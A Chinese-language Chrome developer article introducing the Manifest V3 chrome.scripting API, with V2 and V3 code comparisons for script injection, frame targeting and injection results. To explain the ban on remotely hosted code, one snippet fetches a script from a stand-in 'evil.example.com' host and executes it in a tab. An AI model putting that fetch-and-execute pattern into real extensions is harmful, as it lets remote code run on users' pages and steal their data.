隆重推出 chrome.scripting

Simeon Vincent
Simeon Vincent

Manifest V3 為 Chrome 擴充功能平台帶來多項變更。在本篇文章中,我們將探討 chrome.scripting API 的推出,以及這項變更帶來的動機和變化。

什麼是 chrome.scripting?

如名稱所示,chrome.scripting 是 Manifest V3 中引入的新命名空間,負責提供指令碼和樣式插入功能。

過去曾建立 Chrome 擴充功能的開發人員,可能會熟悉 Tabs API 中的資訊清單 V2 方法,例如 chrome.tabs.executeScriptchrome.tabs.insertCSS。這些方法可讓擴充功能分別將指令碼和樣式表插入網頁。在資訊清單 v3 中,這些功能已移至 chrome.scripting,我們預計日後會為這個 API 新增一些新功能。

為什麼要建立新的 API?

在進行這類異動時,最常見的問題之一就是「為什麼?」

基於幾個不同的因素,Chrome 團隊決定推出新的指令碼命名空間。首先,Tabs API 有點像是功能的垃圾桶,其次,我們需要對現有的 executeScript API 進行重大變更。第三,我們希望擴充擴充功能的指令碼功能。這些疑慮綜合起來,清楚指出需要新命名空間來容納指令碼功能。

雜物櫃

過去幾年來,擴充功能團隊一直面臨 chrome.tabs API 超載的問題。這個 API 剛推出時,提供的大部分功能都與瀏覽器分頁的廣泛概念有關。不過,即使在那個時候,這項功能也只是集合了一些功能,而且多年下來,這個系列的功能也只會越來越多。

在 Manifest 3 版發布時,Tabs API 已擴充至涵蓋基本分頁管理、選取項目管理、視窗組織、訊息傳送、縮放控制、基本導覽、指令碼編寫,以及其他一些較小的功能。雖然這些都是重要的資訊,但對於開發人員來說,在開始使用時可能會感到有些吃力,而 Chrome 團隊在維護平台和考量開發人員社群的要求時,也可能會感到吃力。

另一個複雜的因素是,tabs 權限不容易理解。雖然許多其他權限會限制存取特定 API (例如 storage),但這個權限有點不尋常,因為它只會授予擴充功能存取分頁執行個體上的敏感性屬性 (且擴充功能也會影響 Windows API)。許多擴充功能開發人員誤以為,他們需要這項權限才能存取 Tabs API 上的 chrome.tabs.createchrome.tabs.executeScript 等方法。將功能移出 Tabs API 有助於消除部分疑惑。

破壞性變更

設計 Manifest V3 時,我們想解決的其中一個重大問題,就是由「遠端代管程式碼」啟用的濫用行為和惡意軟體,也就是執行但未包含在擴充資料包中的程式碼。惡意擴充功能作者通常會執行從遠端伺服器擷取的指令碼,以便竊取使用者資料、注入惡意軟體,並躲避偵測。雖然這項功能也適用於善意使用者,但我們最終認為,讓這項功能維持現狀實在太危險。

擴充功能可以透過幾種不同的方式執行未內含的程式碼,但這裡相關的做法是使用 Manifest V2 chrome.tabs.executeScript 方法。這個方法可讓擴充功能在目標分頁中執行任意程式碼字串。這表示惡意開發人員可以從遠端伺服器擷取任意指令碼,並在擴充功能可存取的任何網頁中執行該指令碼。我們知道,如果要解決遠端程式碼問題,就必須放棄這項功能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

我們也想解決 Manifest V2 版本設計中其他較不明顯的問題,讓 API 成為更精緻且可預測的工具。

雖然我們可以變更 Tabs API 中此方法的簽名,但我們認為,在這些破壞性變更和新功能推出 (詳見下一節) 之間,清除分隔線對所有人來說都會更容易。

擴充指令碼功能

另一個納入資訊清單 V3 設計程序的考量,是希望為 Chrome 的擴充功能平台引進其他指令碼功能。具體來說,我們希望新增對動態內容指令碼的支援,並擴充 executeScript 方法的功能。

動態內容指令碼支援一直是 Chromium 長期要求的功能。目前,Manifest V2 和 V3 Chrome 擴充功能只能在 manifest.json 檔案中靜態宣告內容指令碼;平台無法提供註冊新內容指令碼、調整內容指令碼註冊,或在執行階段取消註冊內容指令碼的方式。

雖然我們希望在 Manifest V3 中處理這項功能要求,但我們現有的 API 都不是適合的所在位置。我們也考慮與 Firefox 的內容指令程式 API保持一致,但在很早期就發現這種做法有幾個重大缺點。首先,我們知道會出現不相容的簽名 (例如,放棄對 code 屬性的支援)。其次,我們的 API 有不同的設計限制 (例如,需要註冊才能在服務工作程式生命週期結束後持續存在)。最後,這個命名空間也會將我們侷限於內容指令碼功能,而我們正在考慮在擴充功能中更廣泛地使用指令碼。

executeScript 方面,我們也想擴大這個 API 的功能,讓它能做更多 Tabs API 版本支援的功能。具體來說,我們希望支援函式和引數,更輕鬆地指定特定影格,並指定非「分頁」的內容。

未來,我們也將考慮擴充功能如何與已安裝的 PWA 互動,以及其他不與「分頁」概念對應的內容。

tabs.executeScript 和 scripting.executeScript 之間的變更

在本篇文章的其餘部分,我想進一步探討 chrome.tabs.executeScriptchrome.scripting.executeScript 之間的相似之處和差異。

插入含引數的函式

在考量平台如何因應遠端代管程式碼限制而演進的同時,我們希望在任意程式碼執行的純粹效能,以及只允許靜態內容指令碼之間取得平衡。我們採用的解決方案是允許擴充功能將函式做為內容指令碼插入,並將值陣列做為引數傳遞。

讓我們來看看以下 (過度簡化的) 範例。假設我們想插入指令碼,在使用者按一下擴充功能的動作按鈕 (工具列中的圖示) 時,以姓名向使用者問候。在資訊清單 V2 中,我們可以動態建構程式碼字串,並在目前頁面中執行該指令碼。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

雖然 Manifest V3 擴充功能無法使用未與擴充功能捆綁的程式碼,但我們的目標是保留為 Manifest V2 擴充功能啟用的任意程式碼區塊的部分動態功能。透過這個函式和引數方法,Chrome 線上應用程式商店審查人員、使用者和其他相關人士就能更準確地評估擴充功能可能帶來的風險,同時也能讓開發人員根據使用者設定或應用程式狀態修改擴充功能的執行階段行為。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

指定影格

我們也希望改善開發人員在修訂版 API 中與影格互動的方式。executeScript 的資訊清單 2 版可讓開發人員指定分頁中的所有頁框,或分頁中的特定頁框。您可以使用 chrome.webNavigation.getAllFrames 取得分頁中所有影格清單。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在資訊清單 V3 中,我們將選項物件中的選用 frameId 整數屬性,替換為選用的 frameIds 整數陣列,讓開發人員能夠在單一 API 呼叫中指定多個影格。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

指令碼注入結果

我們也改善了在資訊清單 V3 中傳回指令碼插入結果的方式。「結果」基本上是指在指令碼中評估的最後陳述式。您可以將其視為在 Chrome 開發人員工具控制台中呼叫 eval() 或執行程式碼區塊時傳回的值,但會序列化,以便在各個程序之間傳遞結果。

在 Manifest V2 中,executeScriptinsertCSS 會傳回純執行結果陣列。如果您只有一個插入點,這沒問題,但在插入多個影格時,系統無法保證結果順序,因此無法判斷哪個結果與哪個影格相關聯。

舉例來說,我們來看看同一個擴充功能的 Manifest V2 和 Manifest V3 版本所傳回的 results 陣列。兩個延伸模組版本都會插入相同的內容指令碼,我們會比較相同示範頁面的結果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

執行 Manifest V2 版本時,我們會收到 [1, 0, 5] 陣列。哪個結果對應至主框架,哪個結果對應至 iframe?傳回值不會告訴我們,因此我們無法確定。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在資訊清單 V3 版本中,results 現在包含結果物件陣列,而非僅包含評估結果陣列,且結果物件會清楚標示每個結果的框架 ID。這樣一來,開發人員就能更輕鬆地利用結果,並對特定影格採取行動。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

總結

您可以藉由資訊清單版本升級,重新思考並改良擴充功能 API。推出 Manifest V3 的目標,是讓擴充功能更安全,同時改善開發人員體驗,進而提升使用者體驗。我們在資訊清單 V3 中導入 chrome.scripting,藉此清理 Tabs API,重新設計 executeScript,以提供更安全的擴充功能平台,並為今年稍晚推出的新指令碼功能奠定基礎。